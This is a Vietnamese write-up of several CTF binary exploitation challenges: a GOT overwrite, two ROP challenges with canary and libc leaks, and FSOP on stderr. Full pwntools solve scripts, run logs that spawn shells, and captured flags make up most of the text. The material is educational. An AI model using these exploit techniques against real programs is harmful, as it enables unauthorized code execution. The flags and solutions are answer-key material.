0000000000401216 <win>: <== địa chỉ hàm win 401216: f3 0f 1e fa endbr64 40121a: 55 push %rbp 40121b: 48 89 e5 mov %rsp,%rbp 40121e: 48 83 ec 20 sub $0x20,%rsp 401222: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax ...more ``` ```bash $ objdump -R ./chall | grep JUMP_SLOT ... 0000000000404038 R_X86_64_JUMP_SLOT exit@GLIBC_2.2.5 <== địa chỉ .got.plt của hàm exit ``` ## Exploit input lần đầu các bạn nhập `404038` lần hai nhập `401216` là chúng ta có shell khá đơn giản phải không Solve script ```python #!python3 from pwn import * context.binary = exe = ELF("./chall") context.terminal = ["kitty","-e"] remote_connection = "nc vm.daotao.antoanso.org 33529".split() def start(): if args.REMOTE: return remote(remote_connection[1], int(remote_connection[2])) else: return process(exe.path) p = start() exit_got = 404038 win_addr = 401216 p.recvuntil(b"Address to be written: ") print(str(exit_got)) print(str(win_addr)) p.sendline(str(exit_got).encode()) p.recvuntil(b"Value: ") p.sendline(str(win_addr).encode()) p.interactive() ``` Kết quả ```bash $ python solve.py REMOTE [*] '/home/lazyming/ctf/pwn/recruit_ctf/gotintro/0d9c7ac9-f89a-4a4e-9e98-22a9147cd5b9/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No [+] Opening connection to vm.daotao.antoanso.org on port 34678: Done 404038 401216 [*] Switching to interactive mode $ id uid=1001(ctf) gid=1001(ctf) groups=1001(ctf) $ cat flag.txt BPCTF{potential_target_when_you_have_write_primitive_200616be4e4236ecdec118a6098755c8} ``` # babyrop ![image](https://hackmd.io/_uploads/rJknZfcpxl.png) **Tags:** `ROP` `Stack overflow` --- ## TL;DR ```bash $ checksec chall [*] '/home/lazyming/ctf/pwn/recruit_ctf/babyrop/8e32b75e-4518-45b1-bc78-b129a1ce7fac/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No ``` Bài này là một bài [ROP](#ROP) kinh điển có stack overflow cho phép chúng ta 3 lần input để leak libc address, stack canary, build payload sau đó gửi cho sever ## Analysis Hàm main bị stack overflow cho phép chúng ta gửi input 3 lần và in ra input chúng ta đã gửi, chúng ta không có hàm win phải tự build rop để gọi shell sau đó mới đọc được flag ```c int __fastcall main(int argc, const char **argv, const char **envp) { int i; // [rsp+Ch] [rbp-24h] char buf[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v6; // [rsp+28h] [rbp-8h] v6 = __readfsqword(0x28u); puts("No more win function & leak (?)"); for ( i = 0; i <= 2; ++i ) { puts("Write something: "); read(0, buf, 0x100u); printf("You wrote: %s\n", buf); } return 0; } ``` bài này cho các bạn libc và binary các bạn tải pwninit về dùng nhé cài đặt xong gõ pwninit là nó build cho bạn một cái file python na ná những bài trước tác giả làm sẵn cho bạn, dùng pwninit là vì phiên bản libc trên máy bạn và máy remote có thể khác nhau địa chỉ rop gadget có thể bị thay đổi để mở gdb debug các bạn thêm lệnh ```python r = conn() gdb.attach(r) #mở pwndbg r.interactive() ``` nếu là lần đầu bạn nên gooling cách cài và sử dụng [pwndbg](https://github.com/pwndbg/pwndbg) cơ bản, mình cũng sẽ nói chi tiết các bước mình làm trong bài này nếu các bạn chưa biết sử dụng thì đọc tạm Đây là Back trace nó là kiểu theo dõi chúng ta đang ở hàm nào và sau khi return chúng ta sẽ chạy tiếp ở đâu hiện tại chúng ta đang ở hàm read trong main ```bash ───────────────────────────────────[ BACKTRACE ]──────────────────────────────────── ► 0 0x7ff3c4f1ba91 read+17 <== chúng ta ở đây 1 0x558aef394241 main+88 <== hàm main 2 0x7ff3c4e2a1ca __libc_start_call_main+122 <== sau khi main chạy xong nó nhảy vào đây 3 0x7ff3c4e2a28b __libc_start_main_impl+139 4 0x558aef394125 _start+37 ──────────────────────────────────────────────────────────────────────────────────── pwndbg> ``` các bạn input 8 chữ A vào chương trình rồi gõ lệnh finish cho nó thực thi hàm read rồi tự động dừng lại khi thực thi xong sau lệnh `finish` ```i, eax ───────────────────────────────────[ BACKTRACE ]──────────────────────────────────── ► 0 0x5563a157c241 main+88 1 0x7ff9b962a1ca __libc_start_call_main+122 2 0x7ff9b962a28b __libc_start_main_impl+139 3 0x5563a157c125 _start+37 ──────────────────────────────────────────────────────────────────────────────────── pwndbg> x/40gx $rsp <== lệnh xem data của stack từ đỉnh stack đổ xuống 0x7ffdaaa08780: 0x0000000000000000 0x0000000000000000 0x7ffdaaa08790: 0x4141414141414141 0x00007ff9b98b8a0a <== 0x414141 đó là mấy chữ A chúng ta mới nhập 0x7ffdaaa087a0: 0x00007ffdaaa08890 0xaf1b738cc45ca600 <== canary 0x7ffdaaa087b0: 0x00007ffdaaa08850 0x00007ff9b962a1ca <== địa chỉ return address của hàm main ``` Để leak canary chúng ta input 24 + 1 ký tự 1 ký tự nữa là để ghi đè cái byte 0x00 ở đầu canary, byte đó sẽ chặn printf in ra canary nếu đè nó bằng một ký tự khác null nó sẽ in giá trị canary ra ```bash No more win function & leak (?) Write something: AAAAAAAAAAAAAAAAAAAAAAAA You wrote: AAAAAAAAAAAAAAAAAAAAAAAA ����� <= những ký tự kỳ lạ này là ascii của canary 琅� Write something: ``` tương tự chúng ta leak thêm libc, gửi 40 ký tự cho nó vừa chạm tới libc address `0x00007ff9b962a1ca` nó cũng sẽ in địa chỉ này ra màn hình dùng lệnh vmmap tính offset từ địa chỉ libc chúng ta leak được tới libc base (địa chỉ đầu tiên bắt đầu vùng libc) mình tính được bằng `0x2a1ca` oke sau 2 lần input chúng ta có libc base, canary rồi chúng ta có thể tính được địa chỉ tới các `rop gadget runtime address = libc base + rop gadget base address` ```bash $ ROPgadget --binary libc.so.6 | grep "pop rdi ; ret" pop rdi gadget 0x000000000010f78b : pop rdi ; ret $ ROPgadget --binary ./libc.so.6 --only "ret" | grep -P ':\s+ret$' 0x000000000002882f : ret $ strings -a -t x libc.so.6 | grep '/bin/sh' 1cb42f /bin/sh ``` ## Exploit bước 3 này làm y như mấy bài trước nhưng thay return address bằng address của rop chain như sau ``` ret <== stack alignment các bạn googling thêm nhé pop rdi ; ret <== lấy /bin/sh address pop vào rdi, rdi là thanh ghi chứa tham số đầu tiên /bin/sh string address system address <== gọi system với tham số /bin/sh = system(/bin/sh) ``` Solve script ```python from pwn import * exe = ELF("./chall_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") context.binary = exe context.terminal = ["kitty","-e"] # nc vm.daotao.antoanso.org 33665 def conn(): if args.LOCAL: r = process([exe.path]) else: r = remote("vm.daotao.antoanso.org", 34696) return r def main(): r = conn() # Stage 1: Leak canary r.sendlineafter(b"Write something: ", b"A" * 24) r.recvuntil(b"A" * 24 + b"\n") canary = r.recv(7) stack = r.recv(6) canary = u64(canary.ljust(8, b"\x00")) * 0x100 stack = u64(stack.ljust(8, b"\x00")) print(f"canary: {hex(canary)}") print(f"stack: {hex(stack)}") # Stage 2: Leak libc base r.sendlineafter(b"Write something: ", b"A" * (24 + 8 + 8 - 1)) r.recvuntil(b"A" * (24 + 8 + 8 - 1) + b"\n") libc_leak = r.recvn(6) print(libc_leak) libc_base = u64(libc_leak.ljust(8, b"\x00")) libc_base = libc_base - 0x2a1ca print(f"libc base: {hex(libc_base)}") # Stage 3: Build ret2libc ROP chain # Calculate addresses system_addr = libc_base + 0x58750 # system offset in libc binsh_addr = libc_base + 0x1cb42f # "/bin/sh" string offset pop_rdi_ret = libc_base + 0x10f78b # pop rdi; ret gadget from libc ret_gadget = libc_base + 0x2882f # plain ret for stack alignment print(f"system: {hex(system_addr)}") print(f"/bin/sh: {hex(binsh_addr)}") print(f"pop rdi; ret: {hex(pop_rdi_ret)}") print(f"ret: {hex(ret_gadget)}") # Build final payload payload = b"A" * 24 # Fill buffer to canary payload += p64(canary) # Restore canary payload += b"B" * 8 # Saved RBP (can be anything) payload += p64(ret_gadget) # Stack alignment payload += p64(pop_rdi_ret) # Pop argument into RDI payload += p64(binsh_addr) # Argument: "/bin/sh" payload += p64(system_addr) # Call system("/bin/sh") # Stage 4: Trigger shell r.sendlineafter(b"Write something: ", payload) print("Shell should be spawned!") r.interactive() if __name__ == "__main__": main() ``` Kết quả ```bash [+] Opening connection to vm.daotao.antoanso.org on port 34696: Done canary: 0xacfc71018d4e9d00 stack: 0x7ffc178c0b50 b'\xca\xd1\x13\xf8\x8d~' libc base: 0x7e8df8113000 system: 0x7e8df816b750 /bin/sh: 0x7e8df82de42f pop rdi; ret: 0x7e8df822278b ret: 0x7e8df813b82f Shell should be spawned! [*] Switching to interactive mode You wrote: AAAAAAAAAAAAAAAAAAAAAAAA $ id uid=1001(ctf) gid=1001(ctf) groups=1001(ctf) $ cat flag.txt BPCTF{if_you_can_rop_youre_almost_win_51b5bf6aff7a6d74f2ade49cc75d2d73} ``` # babyexit ![image](https://hackmd.io/_uploads/BkCbHE56gx.png) **Tags:** `Abirary address write` `FSOP` --- ## TL;DR ```bash $ checksec chall [*] '/home/lazyming/ctf/pwn/recruit_ctf/babyexit/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No ``` Binary leak một địa chỉ libc và cho phép chúng ta AAW với số lượng lớn chúng ta có thể nghĩ tới ghi đè một số cấu trúc trong libc để mở shell. ## Analysis Hàm main main cho phép AAW số lượng lớn có thể ghi đè một số cấu trúc libc để mở shell có nhiều cách trong link này [ktranowl share cho mình giờ nó là của các bạn =))](https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc) ```c int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { int i; // [rsp+Ch] [rbp-14h] _QWORD v4[2]; // [rsp+10h] [rbp-10h] BYREF v4[1] = __readfsqword(0x28u); puts("Getting bored of stack overflowing? I'll hand you the most powerfull write primitive."); printf("Your gift: %p\n", stdin); while ( 1 ) { printf("Address to be written: "); __isoc99_scanf("%lx", v4); printf("Value: "); __isoc99_scanf("%lx", v4[0]); puts("1. Write more\n2. Exit"); for ( i = getint("> "); i != 1 && i != 2; i = getint("> ") ) ; if ( i == 2 ) exit(0); } } ``` ## Exploit Bài này mình dùng FSOP với target là stderr vì ghi một lần được 8 byte chứ không ghi một lần nhiều nên ghi dở giữa chừng stdout có thể bị sử dụng trong mấy hàm in màn hình sẽ bị lỗi Solve script ```python from pwn import * remote_connection = "nc vm.daotao.antoanso.org 34701".split() local_port = 5000 context.binary = ELF('./chall') context.terminal = ['kitty', '-e'] localscript = f''' file {context.binary.path} define rerun !docker exec -u root -i debug_container1 bash -c "kill -9 \\$(pidof gdbserver) &" !docker exec -u root -i debug_container1 bash -c "gdbserver :9090 --attach \\$(pidof chall) &" end define con target remote :9090 end ''' gdbscript = ''' ''' proc_args = context.binary.path def start(): if args.REMOTE: return remote(remote_connection[1], int(remote_connection[2])) elif args.LOCAL: return remote("localhost", local_port) elif args.GDB: return gdb.debug({proc_args}, gdbscript=gdbscript) else: return process({proc_args}) def GDB(): if not args.LOCAL and not args.REMOTE: gdb.attach(p, gdbscript=gdbscript) pause() if args.LOCAL: gdbserver = process("docker exec -u root -i debug_container1 bash -c".split()+ [f"gdbserver :9090 --attach $(pidof chall) &"]) pid = gdb.attach(('0.0.0.0', 9090), exe=f'{context.binary.path}', gdbscript=localscript+gdbscript) pause() p = start() context.log_level = 'info' # Use the copied libc from container libc = ELF('./libc.so.6') # https://github.com/UofTCTF/uoftctf-2025-chals-public/blob/master/hash-table-as-a-service/solve/solve.py def build_fsop_stderr_235(fp_addr: int) -> bytes: """Build FSOP payload for libc 2.35+ (from your template)""" fp = FileStructure(null=fp_addr + 0x68) fp.flags = 0x687320 fp._IO_read_ptr = 0 fp._IO_write_base = 0 fp._IO_write_ptr = 1 fp._wide_data = fp_addr - 0x10 payload = bytes(fp) payload = payload[:0xc8] + p64(libc.sym['system']) + p64(fp_addr + 0x60) payload += p64(libc.sym['_IO_wfile_jumps']) return payload # Get the stdin leak p.recvuntil(b"Your gift: ") stdin_leak = int(p.recvline().strip(), 16) log.info(f"stdin @ {hex(stdin_leak)}") # Calculate libc base and stderr address libc.address = stdin_leak - libc.symbols['_IO_2_1_stdin_'] stderr_addr = libc.symbols['_IO_2_1_stderr_'] log.info(f"libc @ {hex(libc.address)}") log.info(f"stderr @ {hex(stderr_addr)}") log.info(f"system @ {hex(libc.sym['system'])}") # Build FSOP payload for stderr fsop_payload = build_fsop_stderr_235(stderr_addr) log.info(f"FSOP payload size: {len(fsop_payload)}") # Write FSOP payload to stderr structure byte by byte # (We can write 8 bytes at a time with the arbitrary write) for i in range(0, len(fsop_payload), 8): chunk = fsop_payload[i:i+8] if len(chunk) < 8: chunk = chunk.ljust(8, b'\x00') print(f"Writing chunk to {hex(stderr_addr + i)}: {chunk.hex()}") # Address to write to stderr target_addr = stderr_addr + i value = u64(chunk) p.recvuntil(b"Address to be written: ") p.sendline(hex(target_addr).encode()) p.recvuntil(b"Value: ") p.sendline(hex(value).encode()) p.recvuntil(b"1. Write more\n2. Exit") if i + 8 < len(fsop_payload): p.sendline(b"1") # Continue writing else: p.sendline(b"2") # Exit to trigger p.interactive() ``` Kết quả ```bash lazyming@vnpt:~/ctf/pwn/recruit_ctf/babyexit$ python solve.py REMOTE [*] '/home/lazyming/ctf/pwn/recruit_ctf/babyexit/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No [+] Opening connection to vm.daotao.antoanso.org on port 34701: Done [*] '/home/lazyming/ctf/pwn/recruit_ctf/babyexit/libc.so.6' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled SHSTK: Enabled IBT: Enabled [*] stdin @ 0x74f12f22f8e0 [*] libc @ 0x74f12f02c000 [*] stderr @ 0x74f12f2304e0 [*] system @ 0x74f12f084750 [*] FSOP payload size: 224 Writing chunk to 0x74f12f2304e0: 2073680000000000 Writing chunk to 0x74f12f2304e8: 0000000000000000 Writing chunk to 0x74f12f2304f0: 0000000000000000 Writing chunk to 0x74f12f2304f8: 0000000000000000 Writing chunk to 0x74f12f230500: 0000000000000000 Writing chunk to 0x74f12f230508: 0100000000000000 Writing chunk to 0x74f12f230510: 0000000000000000 Writing chunk to 0x74f12f230518: 0000000000000000 Writing chunk to 0x74f12f230520: 0000000000000000 Writing chunk to 0x74f12f230528: 0000000000000000 Writing chunk to 0x74f12f230530: 0000000000000000 Writing chunk to 0x74f12f230538: 0000000000000000 Writing chunk to 0x74f12f230540: 0000000000000000 Writing chunk to 0x74f12f230548: 0000000000000000 Writing chunk to 0x74f12f230550: 0000000000000000 Writing chunk to 0x74f12f230558: ffffffffffffffff Writing chunk to 0x74f12f230560: 0000000000000000 Writing chunk to 0x74f12f230568: 4805232ff1740000 Writing chunk to 0x74f12f230570: ffffffffffffffff Writing chunk to 0x74f12f230578: 0000000000000000 Writing chunk to 0x74f12f230580: d004232ff1740000 Writing chunk to 0x74f12f230588: 0000000000000000 Writing chunk to 0x74f12f230590: 0000000000000000 Writing chunk to 0x74f12f230598: 0000000000000000 Writing chunk to 0x74f12f2305a0: 0000000000000000 Writing chunk to 0x74f12f2305a8: 5047082ff1740000 Writing chunk to 0x74f12f2305b0: 4005232ff1740000 Writing chunk to 0x74f12f2305b8: 28e2222ff1740000 [*] Switching to interactive mode > $ id uid=1001(ctf) gid=1001(ctf) groups=1001(ctf) $ cat flag.txt BPCTF{even_exit_can_be_your_hope_aae61b7b115dcaecc4b1af497efa4028} ``` # babyrop2 ![image](https://hackmd.io/_uploads/Bkd22Ecpgg.png) ## TL;DR câu này khá hay lần đầu mình gặp, đây là bản nâng cấp babyrop chỉ cho phép chúng ta input 2 lần thay vì 3 lần stack overflow, mình giải câu này bằng cách cho nó chạy lại hàm main thêm một lần nữa ## Analysis Với cái layout như này việc leak và exploit như thông thường trong 2 lần là không thể `đối với mình =)))` ```bash 0x7ffd08100758: 0x0000000000000000 0x0000000000000000 <== input buffer 0x7ffd08100768: 0x00007f49d38d0af0 0x00007ffd08100860 0x7ffd08100778: 0xeb26cbb9e4b20f00 <== canary 0x00007ffd08100820 <== saved RBP 0x7ffd08100788: 0x00007f49d36bc1ca <== return address 0x00007ffd081007c0 ``` mình sẽ ghi đè 1 byte cuối của cái return address để nó trở lại vài lệnh trước đó và gọi main thêm một lần, khôi phục lại rbp cũ của cái hàm gọi main để nó gọi lại main một lần nữa mà không bị lỗi, vì địa chỉ hàm main vẫn còn trong khung hàm của hàm trước đó ![image](https://hackmd.io/_uploads/SJieZBcael.png) return address của chúng ta là lệnh 0xXXXXXXca chúng ta ghi đè 0xca thành 0xc4 đế nó gọi lại hàm main thêm một lần nữa `call RAX` = `call main` ## Exploit - Lần 1: leak canary và Saved RBP của hàm gọi hàm main - Lần 2: ghi đè 1 byte cuối của main cho nó gọi main thêm một lần nữa - Lần 3: leak libc - Lần 4: Ghi rop payload chạy one_gadget mở shell Solve Script ```python from pwn import * remote_connection = "nc vm.daotao.antoanso.org 34046".split() local_port = 5000 context.binary = ELF('./chall') context.terminal = ['kitty', '-e'] localscript = f''' file {context.binary.path} define rerun !docker exec -u root -i debug_container bash -c "kill -9 \\$(pidof gdbserver) &" !docker exec -u root -i debug_container bash -c "gdbserver :9090 --attach \\$(pidof chall) &" end define con target remote :9090 end ''' gdbscript = ''' ''' proc_args = context.binary.path def start(): if args.REMOTE: return remote(remote_connection[1], int(remote_connection[2])) elif args.LOCAL: return remote("localhost", local_port) elif args.GDB: return gdb.debug({proc_args}, gdbscript=gdbscript) else: return process({proc_args}) def GDB(): if not args.LOCAL and not args.REMOTE: gdb.attach(p, gdbscript=gdbscript) pause() if args.LOCAL: gdbserver = process("docker exec -u root -i debug_container bash -c".split()+ [f"gdbserver :9090 --attach $(pidof chall) &"]) pid = gdb.attach(('0.0.0.0', 9090), exe=f'{context.binary.path}', gdbscript=localscript+gdbscript) pause() libc = ELF('./libc.so.6') p = start() GDB() p.sendafter(b"Write something: ", b"A"* 25) p.recvuntil(b"A"*25) canary_leak = u64(p.recvn(7).rjust(8, b"\x00")) stack_leak = u64(p.recvn(6).ljust(8, b"\x00")) print(f"stack_leak: {hex(stack_leak)}") print(f"canary_leak: {hex(canary_leak)}") print("[+] Canary:", hex(canary_leak)) print("[+] Stack_rbp:", hex(stack_leak)) stack_rbp_ret = stack_leak print("[+] Stack_rbp_ret:", hex(stack_rbp_ret)) payload2 = b"a" * 24 + p64(canary_leak) + p64(stack_rbp_ret) + p8(0xc4) p.send(payload2) p.send(b"A"* 5 * 8) p.recvuntil(b"A"* 5 * 8) libc_leak = u64(p.recvn(6).ljust(8, b"\x00")) print(f"libc_leak: {hex(libc_leak)}") # 0x2a1ca libc_base = libc_leak - 0x2a1ca print(f"libc_base: {hex(libc_base)}") system = libc_base + libc.symbols['system'] binsh = libc_base + next(libc.search(b"/bin/sh")) pop_rdi = libc_base + 0x10f78b ret = pop_rdi + 1 payload4 = b"a" * 24 payload4 += p64(canary_leak) payload4 += b"b" * 8 payload4 += p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system) p.send(payload4) p.interactive() ``` Kết quả ``` [+] Opening connection to vm.daotao.antoanso.org on port 34711: Done stack_leak: 0x7ffe84dfd6c0 canary_leak: 0x3bd0cc7a72517900 [+] Canary: 0x3bd0cc7a72517900 [+] Stack_rbp: 0x7ffe84dfd6c0 [+] Stack_rbp_ret: 0x7ffe84dfd6c0 libc_leak: 0x7521aea7b1ca libc_base: 0x7521aea51000 [*] Switching to interactive mode Write something: You wrote: aaaaaaaaaaaaaaaaaaaaaaaa $ id uid=1001(ctf) gid=1001(ctf) groups=1001(ctf) $ cat flag.txt BPCTF{there_might_be_gold_on_the_stack_4bf4a240dbddef11dbe8fe31808f84be} ```